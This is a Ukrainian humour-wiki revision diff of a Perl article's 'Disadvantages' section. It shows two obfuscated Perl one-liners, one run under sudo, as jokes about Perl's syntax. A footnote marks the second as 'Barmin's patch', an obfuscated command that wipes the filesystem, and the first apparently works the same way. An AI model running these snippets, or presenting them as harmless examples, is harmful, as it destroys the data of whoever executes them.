Perl: відмінності між версіями
мНемає опису редагування |
мНемає опису редагування |
||
| Рядок 4: | Рядок 4: | ||
== Недоліки == | == Недоліки == | ||
*Perl з легкістю інтерпретує такий код: | *Perl з легкістю інтерпретує такий код:<br /> | ||
<code>`$=`;$_=\%!;($_)=/(.)/;$==++$|;($.,$/,$,,$\,$«,$;,$^,$#,$~,$*,$:,@%)=( | |||
$!=~/(.)(.).(.)(.)(.)(.)..(.)(.)(.)..(.)......(.)/,$»),$=++;$.++;$.++; | $!=~/(.)(.).(.)(.)(.)(.)..(.)(.)(.)..(.)......(.)/,$»),$=++;$.++;$.++; | ||
$_++;$_++;($_,$\,$,)=($~.$«.»$;$/$%[$?]$_$\$,$:$%[$?]",$«&$~,$#,);$,++ | $_++;$_++;($_,$\,$,)=($~.$«.»$;$/$%[$?]$_$\$,$:$%[$?]",$«&$~,$#,);$,++ | ||
;$,++;$^|=$»;`$_$\$,$/$:$;$~$*$%[$?]$.$~$*${#}$%[$?]$;$\$"$^$~$*.>&$=` | ;$,++;$^|=$»;`$_$\$,$/$:$;$~$*$%[$?]$.$~$*${#}$%[$?]$;$\$"$^$~$*.>&$=`</code><br /> | ||
або | або<br /> | ||
<code>echo "test... test... test..." | sudo perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|} | |||
<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see' | <&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'</code> | ||
<ref>Це [[патч Барміна]]. Якщо ти його запустив, [[Всім похуй|мені тебе жаль]].</ref> | <ref>Це [[патч Барміна]]. Якщо ти його запустив, [[Всім похуй|мені тебе жаль]].</ref> | ||
*Має майже [[Сі|Сюшний]] [[Синтаксис|синтаксис]]. | *Має майже [[Сі|Сюшний]] [[Синтаксис|синтаксис]]. | ||